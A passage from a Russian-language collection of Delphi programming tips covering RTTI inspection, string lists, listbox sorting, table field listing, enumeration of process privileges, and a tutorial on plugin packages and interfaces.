if pti^.Kind <> tkMethod then
raise Exception.Create ('Invalid type information');
// get a pointer to the TTypeData structure
ptd := GetTypeData (pti);
// 1: access the TTypeInfo structure
sList.Add ('Type Name: ' + pti^.Name);
sList.Add ('Type Kind: ' + GetEnumName (
TypeInfo (TTypeKind),
Integer (pti^.Kind)));
// 2: access the TTypeData structure
sList.Add ('Method Kind: ' + GetEnumName (
TypeInfo (TMethodKind),
Integer (ptd^.MethodKind)));
sList.Add ('Number of parameters: ' +
IntToStr (ptd^.ParamCount));
// 3: access to the ParamList
// get the initial pointer and
// reset the parameters counter
pParam := PParamData (@(ptd^.ParamList));
nParam := 1;
// loop until all parameters are done
while nParam <= ptd^.ParamCount do
begin
// read the information
Line := 'Param ' + IntToStr (nParam) + ' > ';
// add type of parameter
if pfVar in pParam^.Flags then
Line := Line + 'var ';
if pfConst in pParam^.Flags then
Line := Line + 'const ';
if pfOut in pParam^.Flags then
Line := Line + 'out ';
// get the parameter name
Line := Line + pParam^.ParamName + ': ';
// one more type of parameter
if pfArray in pParam^.Flags then
Line := Line + ' array of ';
// the type name string must be located...
// moving a pointer past the params and
// the string (including its size byte)
pTypeString := Pointer (Integer (pParam) +
sizeof (TParamFlags) +
Length (pParam^.ParamName) + 1);
// add the type name
Line := Line + pTypeString^;
// finally, output the string
sList.Add (Line);
// move the pointer to the next structure,
// past the two strings (including size byte)
pParam := PParamData (Integer (pParam) +
sizeof (TParamFlags) +
Length (pParam^.ParamName) + 1 +
Length (pTypeString^) + 1);
// increase the parameters counter
Inc (nParam);
end;
// show the return type if a function
if ptd^.MethodKind = mkFunction then
begin
// at the end, instead of a param data,
// there is the return string
pReturnString := Pointer (pParam);
sList.Add ('Returns > ' + pReturnString^);
end;
end;
procedure TForm1.AddType (pti: PTypeInfo);
begin
ListBox1.Items.AddObject(pti^.Name, TObject (pti))
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
AddType (TypeInfo (TNotifyEvent));
AddType (TypeInfo (TFindMethodEvent));
AddType (TypeInfo (THelpEvent));
AddType (TypeInfo (TSetNameEvent));
AddType (TypeInfo (TDragDropEvent));
AddType (TypeInfo (TDrawItemEvent));
AddType (TypeInfo (TMeasureItemEvent));
AddType (TypeInfo (TScrollEvent));
AddType (TypeInfo (TDragOverEvent));
AddType (TypeInfo (TEndDragEvent));
AddType (TypeInfo (TKeyEvent));
AddType (TypeInfo (TKeyPressEvent));
AddType (TypeInfo (TMouseEvent));
AddType (TypeInfo (TMouseMoveEvent));
AddType (TypeInfo (TStartDragEvent));
AddType (TypeInfo (TCloseEvent));
AddType (TypeInfo (TCloseQueryEvent));
AddType (TypeInfo (TExceptionEvent));
AddType (TypeInfo (TIdleEvent));
AddType (TypeInfo (TMessageEvent));
AddType (TypeInfo (TShowHintEvent));
end;
end.
|
Загрузить весь проект
Создание списка списков (TStringList).
Как мне создать TStringList, содержащий в строке имя объекта, и сам объект TStringList?TStringList имеет возможность хранить для каждой строки свой указатель: см. свойство Objects. Чтобы понять принцип работы с указателями, смотри в электронной справке описание метода TStringList AddObject. Вот пример работы с методом:
StringList1.AddObject('Имя списка', TStringList.Create);
|
Вы можете получить доступ к связанному stringlist, назначая его переменной TStringList:
TempStringList := TStringList(StringList1.Objects[index]); |
Приведенный ниже код правильно компилируется, правильно выполняется и правильно демонстрирует все вышесказанное. Form1 имеет только один компонент Label.
unit Unit1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
Forms, Dialogs, Grids, StdCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
StringList1, TempStringList: TStringList;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
StringList1 := TStringList.Create;
StringList1.AddObject('имя', TSTringList.Create);
TempStringList := TStringList(StringList1.Objects[0]);
TempStringList.Add('Привет');
Label1.Caption := TempStringList[0];
end;
procedure TForm1.FormDestroy(Sender: TObject);
var
i: Longint;
begin
for i := 0 to StringList1.Count - 1 do
begin
TempStringList := TStringList(StringList1.Objects[i]);
TempStringList.Free;
end;
end;
end.
|
Сортировать список по алфавиту.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
You need a TListBox and a TButton.
With a few modifications, you can use it with any variable
compatible with a TStringList.
If you change the operator "<" for a ">" in the 'if' clause
below, the order will be reversed
}
procedure TForm1.Button1Click(Sender: TObject);
var
i, x: Integer;
begin
for i := 0 to (ListBox1.Items.Count - 1) do
for x := 0 to (ListBox1.Items.Count - 1) do
if (ListBox1.Items[x] < ListBox1.Items[i]) and (x > i) then
begin
ListBox1.Items.Insert(i, ListBox1.Items[x]);
ListBox1.Items.Delete(x + 1);
end;
end;
Список структуры полей таблицы.
В данном проекте создается список структуры полей соответствующей таблицы, с использованием массивов Fields и IndexDefs, который затем отображается в компоненте ListBox. Демонстрационный проект (dbbrowsr.dpr) решает эту задачу несколько иначе. Вы можете сравнить две версии этого кода.Примечание: Данный код работает только в 16-битной среде.
procedure TForm1.Button1Click(Sender: TObject);
const
MyFielddefs: array[ftUnknown..ftGraphic] of string[8] =
('Unknown', 'String', 'Smallint', 'Integer', 'Word',
'Boolean', 'Float', 'Currency', 'BCD', 'Date',
'Time', 'DateTime', 'Bytes', 'VarBytes', 'Blob',
'Memo', 'Graphic');
var
i, Indx: integer;
Definition: string;
begin
for i := 0 to Table1.FieldCount - 1 do
begin
Definition := Table1.Fields[i].DisplayLabel;
Definition := Definition + ' ' +
MyFieldDefs[Table1.Fields[i].DataType];
Table1.IndexDefs.Update;
if Table1.Fields[i].IsIndexField then
begin
Indx := Table1.IndexDefs.Indexof(Table1.Fields[i].Name);
if Indx > -1 then
if ixPrimary in Table1.IndexDefs[Indx].Options then
Definition := Definition + ' (Первичный)';
end;
Listbox1.Items.Add(Definition);
end;
end;
|
Приведенная выше версия не работает в 32-битной среде, поскольку в ней присутствуют дополнительные типы полей. Вот версия, которая работает в 32-битной среде:
procedure TForm1.Button1Click(Sender: TObject);
const
MyFielddefs: array[ftUnknown..ftTypedBinary] of string[11] =
('Unknown', 'String', 'Smallint', 'Integer',
'Word', 'Boolean', 'Float', 'Currency', 'BCD',
'Date', 'Time', 'DateTime', 'Bytes', 'VarBytes',
'AutoInc', 'Blob', 'Memo', 'Graphic', 'FmtMemo',
'ParadoxOle', 'DBaseOle', 'TypedBinary');
var
i, Indx: integer;
Definition: string;
begin
for i := 0 to Table1.FieldCount - 1 do
begin
Definition := Table1.Fields[i].DisplayLabel;
Definition := Definition + ' ' +
MyFieldDefs[Table1.Fields[i].DataType];
Table1.IndexDefs.Update;
if Table1.Fields[i].IsIndexField then
begin
Indx := Table1.IndexDefs.Indexof(Table1.Fields[i].Name);
if Indx > -1 then
if ixPrimary in Table1.IndexDefs[Indx].Options then
Definition := Definition + ' (Первичный)';
end;
Listbox1.Items.Add(Definition);
end;
end;
|
Получить список типов свойств и их описание.
unit OrdForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, TypInfo, ToolWin, ComCtrls, ExtCtrls, DdeMan, Menus, DBCtrls,
DBTables, Db, checklst, Grids, Mask, Buttons, DBGrids, DBCGrids, FileCtrl,
Outline, Tabnotbk, Tabs;
type
TForm1 = class(TForm)
Listbox1: TListBox;
ListBox2: TListBox;
Splitter1: TSplitter;
procedure Listbox1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
procedure AddType (pti: PTypeInfo);
procedure AddToList (const S: String);
end;
procedure ShowOrdinal (pti: PTypeInfo; sList: TStrings);
procedure ListEnum (pti: PTypeInfo; sList: TStrings);
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Listbox1Click(Sender: TObject);
var
pti: PTypeInfo;
begin
pti := PTypeInfo (ListBox1.Items.Objects [
Listbox1.ItemIndex]);
ListBox2.Items.Clear;
ShowOrdinal (pti, ListBox2.Items);
// special case: TColor
if ListBox1.Items [ListBox1.ItemIndex] = 'TColor' then
begin
ListBox2.Items.Add ('');
ListBox2.Items.Add ('Values...');
GetColorValues (AddToList);
end;
// special case: TCursor
if ListBox1.Items [ListBox1.ItemIndex] = 'TCursor' then
begin
ListBox2.Items.Add ('');
ListBox2.Items.Add ('Values...');
GetCursorValues (AddToList);
end;
end;
procedure TForm1.AddToList (const S: String);
begin
ListBox2.Items.Add (S);
end;
// show RTTI information for ordinal types
procedure ShowOrdinal (pti: PTypeInfo; sList: TStrings);
var
ptd: PTypeData;
begin
// protect against misuse
if not (pti^.Kind in [tkInteger, tkChar,
tkEnumeration, tkSet, tkWChar]) then
raise Exception.Create ('Invalid type information');
// get a pointer to the TTypeData structure
ptd := GetTypeData (pti);
// access the TTypeInfo structure
sList.Add ('Type Name: ' + pti^.Name);
sList.Add ('Type Kind: ' + GetEnumName (
TypeInfo (TTypeKind),
Integer (pti^.Kind)));
// access the TTypeData structure
sList.Add ('Implement: ' + GetEnumName (
TypeInfo (TOrdType),
Integer (ptd^.OrdType)));
// a set has no min and max
if pti^.Kind <> tkSet then
begin
sList.Add ('Min Value: ' + IntToStr (ptd^.MinValue));
sList.Add ('Max Value: ' + IntToStr (ptd^.MaxValue));
end;
// add the enumeration base type
// and the list of the values
if pti^.Kind = tkEnumeration then
begin
sList.Add ('Base Type: ' + (ptd^.BaseType)^.Name);
sList.Add ('');
sList.Add ('Values...');
ListEnum (pti, sList);
end;
// show RRTI info about set base type
if pti^.Kind = tkSet then
begin
sList.Add ('');
sList.Add ('Set base type information...');
ShowOrdinal (ptd.CompType^, sList);
end;
end;
procedure ListEnum (pti: PTypeInfo; sList: TStrings);
var
I: Integer;
begin
with GetTypeData(pti)^ do
for I := MinValue to MaxValue do
sList.Add (' ' + IntToStr (I) + '. ' +
GetEnumName (pti, I));
end;
procedure TForm1.AddType (pti: PTypeInfo);
begin
ListBox1.Items.AddObject(pti^.Name, TObject (pti))
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
AddType (TypeInfo (Boolean));
AddType (TypeInfo (Byte));
AddType (TypeInfo (Cardinal));
AddType (TypeInfo (Char));
AddType (TypeInfo (Integer));
AddType (TypeInfo (LongInt));
AddType (TypeInfo (ShortInt));
AddType (TypeInfo (SmallInt));
AddType (TypeInfo (TAlign));
AddType (TypeInfo (TAlignment));
AddType (TypeInfo (TBatchMode));
AddType (TypeInfo (TBevelShape));
AddType (TypeInfo (TBevelStyle));
AddType (TypeInfo (TBitBtnKind));
AddType (TypeInfo (TBitmapHandleType));
AddType (TypeInfo (TBlobStreamMode));
AddType (TypeInfo (TBookmarkFlag));
AddType (TypeInfo (TBorderIcon));
AddType (TypeInfo (TBorderIcons));
AddType (TypeInfo (TBorderStyle));
AddType (TypeInfo (TBrushStyle));
AddType (TypeInfo (TButtonLayout));
AddType (TypeInfo (TButtonSet));
AddType (TypeInfo (TButtonState));
AddType (TypeInfo (TCanvasState));
AddType (TypeInfo (TCanvasStates));
AddType (TypeInfo (TCheckBoxState));
AddType (TypeInfo (TCloseAction));
AddType (TypeInfo (TColor));
AddType (TypeInfo (TColorDialogOption));
AddType (TypeInfo (TColorDialogOptions));
AddType (TypeInfo (TColumnButtonStyle));
AddType (TypeInfo (TColumnValue));
AddType (TypeInfo (TColumnValues));
AddType (TypeInfo (TComboBoxStyle));
AddType (TypeInfo (TCommonAVI));
AddType (TypeInfo (TComponentState));
AddType (TypeInfo (TComponentStyle));
AddType (TypeInfo (TConfigMode));
AddType (TypeInfo (TConfigModes));
AddType (TypeInfo (TConsistentAttribute));
AddType (TypeInfo (TConsistentAttributes));
AddType (TypeInfo (TControlState));
AddType (TypeInfo (TControlStyle));
AddType (TypeInfo (TCursor));
AddType (TypeInfo (TDataAction));
AddType (TypeInfo (TDatabaseEvent));
AddType (TypeInfo (TDataEvent));
AddType (TypeInfo (TDataSetState));
AddType (TypeInfo (TDateTimeKind));
AddType (TypeInfo (TDBCtrlGridBorder));
AddType (TypeInfo (TDBCtrlGridKey));
AddType (TypeInfo (TDBCtrlGridOrientation));
AddType (TypeInfo (TDBGridColumnsState ));
AddType (TypeInfo (TDBGridOption ));
AddType (TypeInfo (TDBGridOptions ));
AddType (TypeInfo (TDisplayCode ));
AddType (TypeInfo (TDragMessage ));
AddType (TypeInfo (TDragMode));
AddType (TypeInfo (TDragState));
AddType (TypeInfo (TDrawingStyle ));
AddType (TypeInfo (TDropDownAlign ));
AddType (TypeInfo (TDuplicates ));
AddType (TypeInfo (TEditCharCase));
AddType (TypeInfo (TFieldChars ));
AddType (TypeInfo (TFieldKind ));
AddType (TypeInfo (TFieldType ));
AddType (TypeInfo (TFileAttr ));
AddType (TypeInfo (TFilerFlags ));
AddType (TypeInfo (TFileType ));
AddType (TypeInfo (TFillMode ));
AddType (TypeInfo (TFillStyle ));
AddType (TypeInfo (TFilterOption ));
AddType (TypeInfo (TFilterOptions ));
AddType (TypeInfo (TFindItemKind ));
AddType (TypeInfo (TFindOption ));
AddType (TypeInfo (TFindOptions ));
AddType (TypeInfo (TFontDialogDevice ));
AddType (TypeInfo (TFontDialogOption ));
AddType (TypeInfo (TFontDialogOptions ));
AddType (TypeInfo (TFontPitch));
AddType (TypeInfo (TFontStyle ));
AddType (TypeInfo (TFontStyles ));
AddType (TypeInfo (TFormBorderStyle ));
AddType (TypeInfo (TFormState ));
AddType (TypeInfo (TFormStyle ));
AddType (TypeInfo (TGetMode ));
AddType (TypeInfo (TGetResult ));
AddType (TypeInfo (TGridDrawState ));
AddType (TypeInfo (TGridOptions ));
AddType (TypeInfo (TGridScrollDirection ));
AddType (TypeInfo (THeaderSectionStyle ));
AddType (TypeInfo (THelpContext));
AddType (TypeInfo (THitTest ));
AddType (TypeInfo (THitTests ));
AddType (TypeInfo (THKInvalidKey ));
AddType (TypeInfo (THKInvalidKeys ));
AddType (TypeInfo (THKModifier ));
AddType (TypeInfo (THKModifiers ));
AddType (TypeInfo (TIconArrangement ));
AddType (TypeInfo (TImageType ));
AddType (TypeInfo (TImeMode ));
AddType (TypeInfo (TIndexOptions ));
AddType (TypeInfo (TIntfFlags ));
AddType (TypeInfo (TItemChange ));
AddType (TypeInfo (TItemState ));
AddType (TypeInfo (TItemStates ));
AddType (TypeInfo (TKeyIndex ));
AddType (TypeInfo (TListArrangement ));
AddType (TypeInfo (TListBoxStyle ));
AddType (TypeInfo (TLoadResource ));
AddType (TypeInfo (TLoadResources ));
AddType (TypeInfo (TLocateOption ));
AddType (TypeInfo (TLocateOptions ));
AddType (TypeInfo (TLockType ));
AddType (TypeInfo (TMaskCharType ));
AddType (TypeInfo (TMaskDirectives ));
AddType (TypeInfo (TMaskedState ));
AddType (TypeInfo (TMenuBreak ));
AddType (TypeInfo (TModalResult));
AddType (TypeInfo (TMouseButton ));
AddType (TypeInfo (TMsgDlgBtn ));
AddType (TypeInfo (TMsgDlgButtons ));
AddType (TypeInfo (TMsgDlgType ));
AddType (TypeInfo (TNavButtonStyle ));
AddType (TypeInfo (TNavGlyph ));
AddType (TypeInfo (TNavigateBtn ));
AddType (TypeInfo (TNodeAttachMode ));
AddType (TypeInfo (TNodeState ));
AddType (TypeInfo (TNumberingStyle ));
AddType (TypeInfo (TOpenOptions ));
AddType (TypeInfo (TOperation ));
AddType (TypeInfo (TOperation));
AddType (TypeInfo (TOutlineBitmap ));
AddType (TypeInfo (TOutlineBitmaps ));
AddType (TypeInfo (TOutlineNodeCompare ));
AddType (TypeInfo (TOutlineOption ));
AddType (TypeInfo (TOutlineOptions ));
AddType (TypeInfo (TOutlineStyle ));
AddType (TypeInfo (TOutlineType ));
AddType (TypeInfo (TOwnerDrawState ));
AddType (TypeInfo (TPanelBevel ));
AddType (TypeInfo (TParamBindMode ));
AddType (TypeInfo (TParamFlags ));
AddType (TypeInfo (TParamType ));
AddType (TypeInfo (TPenMode ));
AddType (TypeInfo (TPenStyle ));
AddType (TypeInfo (TPixelFormat ));
AddType (TypeInfo (TPopupAlignment ));
AddType (TypeInfo (TPosition ));
AddType (TypeInfo (TPrintDialogOption ));
AddType (TypeInfo (TPrintDialogOptions ));
AddType (TypeInfo (TPrintRange ));
AddType (TypeInfo (TPrintScale ));
AddType (TypeInfo (TProgressStage ));
AddType (TypeInfo (TRecNoStatus ));
AddType (TypeInfo (TResType ));
AddType (TypeInfo (TResType));
AddType (TypeInfo (TResyncMode ));
AddType (TypeInfo (TScalingFlags ));
AddType (TypeInfo (TScrollBarInc));
AddType (TypeInfo (TScrollBarKind));
AddType (TypeInfo (TScrollCode));
AddType (TypeInfo (TScrollStyle ));
AddType (TypeInfo (TScrollStyle));
AddType (TypeInfo (TSearchDirection ));
AddType (TypeInfo (TSearchType ));
AddType (TypeInfo (TSearchTypes ));
AddType (TypeInfo (TSectionTrackState ));
AddType (TypeInfo (TSelectDirOpt ));
AddType (TypeInfo (TSelectDirOpts ));
AddType (TypeInfo (TShapeType ));
AddType (TypeInfo (TShiftState));
AddType (TypeInfo (TShowAction ));
AddType (TypeInfo (TSortType ));
AddType (TypeInfo (TStaticBorderStyle ));
AddType (TypeInfo (TStatusPanelBevel ));
AddType (TypeInfo (TStatusPanelStyle ));
AddType (TypeInfo (TTableType ));
AddType (TypeInfo (TTabOrder));
AddType (TypeInfo (TTabPosition ));
AddType (TypeInfo (TTabStyle ));
AddType (TypeInfo (TTextCase ));
AddType (TypeInfo (TTextLayout));
AddType (TypeInfo (TThreadPriority));
AddType (TypeInfo (TTickMark));
AddType (TypeInfo (TTickStyle));
AddType (TypeInfo (TTileMode));
AddType (TypeInfo (TTimerMode));
AddType (TypeInfo (TToolButtonState));
AddType (TypeInfo (TToolButtonStyle));
AddType (TypeInfo (TTraceFlag));
AddType (TypeInfo (TTraceFlags));
AddType (TypeInfo (TTrackBarOrientation));
AddType (TypeInfo (TTransIsolation));
AddType (TypeInfo (TTypeKinds));
AddType (TypeInfo (TUpdateAction));
AddType (TypeInfo (TUpdateKind));
AddType (TypeInfo (TUpdateMode));
AddType (TypeInfo (TUpdateRecordTypes));
AddType (TypeInfo (TUpdateStatus));
AddType (TypeInfo (TValueType));
AddType (TypeInfo (TViewStyle));
AddType (TypeInfo (TWindowState));
AddType (TypeInfo (WChar));
AddType (TypeInfo (Word));
end;
end.
|
Загрузить весь проект
Перечислить привилегии пользователя.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
const
TokenSize = 800; // (SizeOf(Pointer)=4 *200)
var
hToken: THandle;
pTokenInfo: PTOKENPRIVILEGES;
ReturnLen: Cardinal;
i: Integer;
PrivName: PChar;
DisplayName: PChar;
NameSize: Cardinal;
DisplSize: Cardinal;
LangId: Cardinal;
begin
GetMem(pTokenInfo, TokenSize);
if not OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,
hToken) then ShowMessage('OpenProcessToken error');
if not GetTokenInformation(hToken, TokenPrivileges, pTokenInfo, TokenSize, ReturnLen) then
ShowMessage('GetTokenInformation error');
GetMem(PrivName, 255);
GetMem(DisplayName, 255);
for i := 0 to pTokenInfo.PrivilegeCount - 1 do
begin
DisplSize := 255;
NameSize := 255;
LookupPrivilegeName(nil, pTokenInfo.Privileges[i].Luid, PrivName, Namesize);
LookupPrivilegeDisplayName(nil, PrivName, DisplayName, DisplSize, LangId);
ListBox1.Items.Add(PrivName +^I + DisplayName);
end;
FreeMem(PrivName);
FreeMem(DisplayName);
FreeMem(pTokenInfo);
end;
Немного о плагинах.
| - Мда... не всегда получается как хотелось бы: купил, вставил и заработало. - Да, даже plug&play в жизни не всегда работает. |
Вот текст этой процедуры.
procedure TForm1.LoadPluginPackage; var FileName: TFileName; Begin // предполагаем, что пакет хранится в том же каталоге, // что и исполняемое приложение FileName := ExtractFilePath(Application.ExeName); FileName := FileName + 'plugin.bpl'; // Загружаем пакет FPackageHandle := LoadPackage(FileName); // пакет не загружен, выбрасываем исключение if FPackageHandle = 0 then RaiseLastWin32Error() else MessageBox(Handle, 'Пакет plugin загружен', 'Информация', MB_APPLMODAL+MB_ICONINFORMATION+MB_OK); end; |
Для дочерней формы.
procedure TForm1.aOpenExecute(Sender: TObject);
var
frmClass: TFormClass;
frm: TForm;
begin
frmClass := TFormClass(GetClass('TfrmChild')); // получаем класс дочернего окна
if not Assigned(frmClass) then
begin
MessageBox(Handle, PChar(Format('Не найден класс %s', ['TfrmDialogFrom'])),
'Ошибка',
MB_APPLMODAL+MB_ICONERROR+MB_OK);
Exit;
end;
frm := frmClass.Create(Self); // создаем дочернее окно
end;
|
Для диалога.
procedure TForm1.aOpenDialogExecute(Sender: TObject);
var
frmClass: TFormClass;
begin
frmClass := TFormClass(GetClass('TfrmDialogFrom')); // получаем класс диалогового окна
if not Assigned(frmClass) then
begin
MessageBox(Handle, PChar(Format('Не найден класс %s', ['TfrmDialogFrom'])),
'Ошибка',
MB_APPLMODAL+MB_ICONERROR+MB_OK);
Exit;
end;
// создаем и показываем окно диалога
with frmClass.Create(Self) do
try
case ShowModal of
mrOk: MessageDlg('Выбрано Ok!', mtInformation, [mbOk], 0);
mrCancel: MessageDlg('Выбрано Cancel!', mtInformation, [mbOk], 0);
else MessageDlg('Выбрано хрен знает что!', mtInformation, [mbOk], 0);
end;
finally
Free();
end;
end;
|
Плюс ко всему добавляем обработчик OnUpdate на все асtiоn'ы для обеспеченя корректного вызова.
procedure TForm1.aOpenUpdate(Sender: TObject); begin aOpen.Enabled := FPackageHandle > 0; aOpenDialog.Enabled := FPackageHandle > 0; end; |
Для того, чтобы новичкам было все ясно, следует немного углубиться в понятие интерфейса. Я полагаю, что вы знакомы с понятием виртуальной таблицы методов (VMT). Именно она является источником и тремя составными частями ООП (11). Для поддержки COM в Delphi был введен новый, особый тип interface, который позволяет "поименовать" куски виртуальной таблицы методов. Способ этого именования достаточно уникален - 16-байтовое число (12), которое присваивается каждому такому куску. Есть мнение, что оно статистическ и уникально (13). Синтаксис данного типа следующий.
type
IMyInitialize = interface
['{7D501741-B419-11D5-915B-ED714AED3037}'] // то самое 16-битное число в строковом
// представлении. Получается
// в Delphi нажатием клавиш Ctrl+g.
procedure InitializeForm(const ACaption: String); // а это процедура интерфейса.
end;
|
Теперь давайте прикрутим к нашей системе интерфейсы и покажем, как с ними работать. Для этого создаем новый модуль (он достаточно короткий, и я здесь привожу его полностью).
unit CommonInterfaces;
interface
type
IMyInitialize = interface
['{7D501741-B419-11D5-915B-ED714AED3037}']
procedure InitializeForm(const ACaption: String);
end;
IMyHello = interface
['{7D501742-B419-11D5-915B-ED714AED3037}']
function ShowHello(AText: String): String;
end;
implementation
end.
Далее, внесем изменения в наш пакет, учитывающий поддержку интерфейсов
1. для дочерней формы:
type
TfrmChild = class(TForm, IMyInitialize, IMyHello) // так наследуются интерфейсы
Private
{ описание методов IMyInitialize }
procedure InitializeForm(const ACaption: String);
{ описание методов IMyHello }
function ShowHello(AText: String): String;
end;
|
2. для диалоговой формы:
type
TfrmDialogFrom = class(TForm, IMyInitialize)
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
Label1: TLabel;
private
{ описание методов IMyInitialize }
procedure InitializeForm(const ACaption: String);
end;
|
Соответственно (для вызова этих методов), немного корректируем главную форму…
procedure TForm1.aOpenExecute(Sender: TObject);
var
frmClass: TFormClass;
frm: TForm;
MyInitialize: IMyInitialize;
begin
frmClass := TFormClass(GetClass('TfrmChild'));
if not Assigned(frmClass) then
begin
MessageBox(Handle, PChar(Format(' Не найден класс %s', ['TfrmDialogFrom'])),
'Ошибка',
MB_APPLMODAL+MB_ICONERROR+MB_OK);
exit;
end;
frm := frmClass.Create(Self);
// производим вызов метода интерфейса
if frm.GetInterface(IMyInitialize, MyInitialize) then
begin // интерфейс поддерживается формой, можно вызывать его методы
MyInitialize.InitializeForm(Format('Дочернее окно ? %d', [Tag]));
Tag := Tag + 1;
end
else raise Exception.CreateFmt('Интерфейс %s не поддерживается классом %s',
['ImyInitialize', frm.GetClassName]);
end;
procedure TForm1.aOpenDialogExecute(Sender: TObject);
var
frmClass: TFormClass;
MyInitialize: IMyInitialize;
begin
frmClass := TFormClass(GetClass('TfrmDialogFrom'));
if not Assigned(frmClass) then
begin
MessageBox(Handle, PChar(Format('Не найден класс %s', ['TfrmDialogFrom'])),
'Внимание!',
MB_APPLMODAL+MB_ICONERROR+MB_OK);
Exit;
end;
with frmClass.Create(Self) do
try
if GetInterface(IMyInitialize, MyInitialize) then
begin // Интерфейс поддерживается фомой, вызываем его метод
MyInitialize.InitializeForm(' Диалог');
end
else raise Exception.CreateFmt('Интерфейс %s не поддерживается классом %s',
['ImyInitialize', frm.GetClassName]);
case ShowModal of
mrOk: MessageDlg('Ok!', mtInformation, [mbOk], 0);
mrCancel: MessageDlg('Cancel!', mtInformation, [mbOk], 0);
else MessageDlg('Неизвестная распальцовка!', mtInformation, [mbOk], 0);
end;
finally
Free();
end;
end;
|
При разработке проекта довольно часто встречается ситуация, когда одна из форм (модулей данных, компонент или, наконец, просто объектов) обращается к методам второй формы, а та, в свою очередь, нуждается в вызове методов (или в доступе к свойствам) первой . Иногда эта ситуация вообще трудно разрешима (если оказываются необходимыми перекрестные ссылки в интерфейсных частях модулей — это недопустимо правилами языка)(15) . Очень часто взаимодействие модулей проекта, форм и т.д. оказывается до такой степени пе репутанным, что разобраться в этих хитросплетениях бывает тяжело (особенно если этот проект передается для дальнейшего сопровождения и доработки другому программисту). Часть таких проблем вполне может снять использование интерфейсов. Действительно, в пред ыдущей части для использования методов форм из пакета нам не потребовалось подключать модули, содержащие их реализацию. Что помешает использовать ту же технологию и в обратном направлении?
// Попробуем это реализовать.
// В модуль CommonInterfaces добавляем новый интерфейс
ICallBackInterface = interface
['{7D501743-B419-11D5-915B-ED714AED3037}']
procedure Callback(Text: String);
end;
// Добавляем этот интерфейс к главной форме приложения
type
TForm1 = class(TForm, ICallBackInterface)
MainMenu: TMainMenu;
…
protected
{ ICallBackInterface }
procedure Callback(Text: String);
…
end;
var
Form1: TForm1;
implementation
…
procedure TForm1.Callback(Text: String);
begin
ShowMessage('Из главной формы с приветом "' + Text + '"');
end;
…
// А теперь возвращаемся в пакет и пробуем вызвать
// метод Callback главной формы из пакета. В дочерней
// форме TfrmChild создаем TAction aQueryInMainForm,
// цепляем его в меню и создаем реализацию OnExecute
procedure TfrmChild.aQueryInMainFormExecute(Sender: TObject);
var
CallBackInterface: ICallBackInterface;
begin
if Application.MainForm.GetInterface(ICallBackInterface, CallBackInterface) then
CallBackInterface.Callback('Привет от дочерней формы ' + Caption);
end;
// Теперь запускаем и проверяем, что все у нас работает как надо.
// Можно несколько усложнить наш пример и наглядно
// продемонстрировать новые преимущества данной методики.
// Давайте добавим на форму объект TListBox и изменим
// реализацию метода ShowHello из интерфейса IMyHello
// следующим образом
function TfrmChild.ShowHello(AText: String): String;
begin
InputQuery('Вот что спросили', AText, Result);
ListBox1.Items.Add('Вот что спросили:');
ListBox1.Items.Add(AText);
ListBox1.Items.Add('Вот что ответили:');
ListBox1.Items.Add(Result);
ListBox1.Items.Add('');
end;
// Идем к форме TfrmDialogFrom, добавляем туда
// большую кнопку, на OnClick которой пишем следующее:
procedure TfrmDialogFrom.Button1Click(Sender: TObject);
var
MyHello: IMyHello;
Result: String;
begin
if Assigned(Application.MainForm.ActiveMDIChild) and
Application.MainForm.ActiveMDIChild.GetInterface(IMyHello, MyHello) then
begin
Result := MyHello.ShowHello('Где начало того конца, которым начинается начало?');
ShowMessage(Result);
end;
end;
|
Добавим еще один интерфейс в модуль CommonInterfaces и назавем его ICallbackInterface2. В интерфейсе опишем процедуру с названием, пересекающимся с ICallbackInterface:
ICallbackInterface2 = interface
['{7D501744-B419-11D5-915B-ED714AED3037}']
procedure Callback(Text: String);
end;
// Теперь введем этот интерфейс в главную форму:
type
TForm1 = class(TForm, ICallBackInterface, ICallbackInterface2)
MainMenu: TMainMenu;
File1: TMenuItem;
…
// Чтобы компилятор правильно различал вызовы методов
// Callback от разных интерфейсов, секцию protected перепишем
// следующим образом:
…
protected
// перенаправляем вызов через ICallBackInterface к процедуре Callback1
procedure ICallBackInterface.Callback = Callback1;
// перенаправляем вызов через ICallBackInterface2 к процедуре Callback2
procedure ICallBackInterface2.Callback = Callback2;
procedure Callback1(Text: String);
procedure Callback2(Text: String);
…
end;
…
procedure TForm1.Callback1(Text: String);
begin
ShowMessage('Из главной формы 1 "' + Text + '"');
end;
procedure TForm1.Callback2(Text: String);
begin
ShowMessage(' Из главной формы 2 "' + Text + '"');
end;
// И, наконец, в форме TfrmChild нашего пакета строим вызовы этих методов
type
TfrmChild = class(TForm, IMyInitialize, IMyHello)
…
aQueryInMainForm: TAction;
aQueryInMainForm2: TAction;
…
procedure aQueryInMainFormExecute(Sender: TObject);
procedure aQueryInMainForm2Execute(Sender: TObject);
private
…
procedure TfrmChild.aQueryInMainFormExecute(Sender: TObject);
var
CallBackInterface: ICallBackInterface;
begin
if Application.MainForm.GetInterface(ICallBackInterface, CallBackInterface) then
CallBackInterface.Callback('Привет от ' + Caption);
end;
procedure TfrmChild.aQueryInMainForm2Execute(Sender: TObject);
var
CallBackInterface: ICallBackInterface2;
begin
if Application.MainForm.GetInterface(ICallBackInterface2, CallBackInterface) then
CallBackInterface.Callback('Привет от ' + Caption);
end;
…
// Запускаем и убеждаемся в том, что вызываются действительно нужные методы.
// Полный исходный код этой части находится в архиве (каталог Step4).
// Еще один нюанс, известный программистам COM. Ничто не запрещает вводить
// в интерфейсы обычные свойства Deplhi (для более простого моделирования).
// Ограничением, естественно, является только то, что интерфейс не может
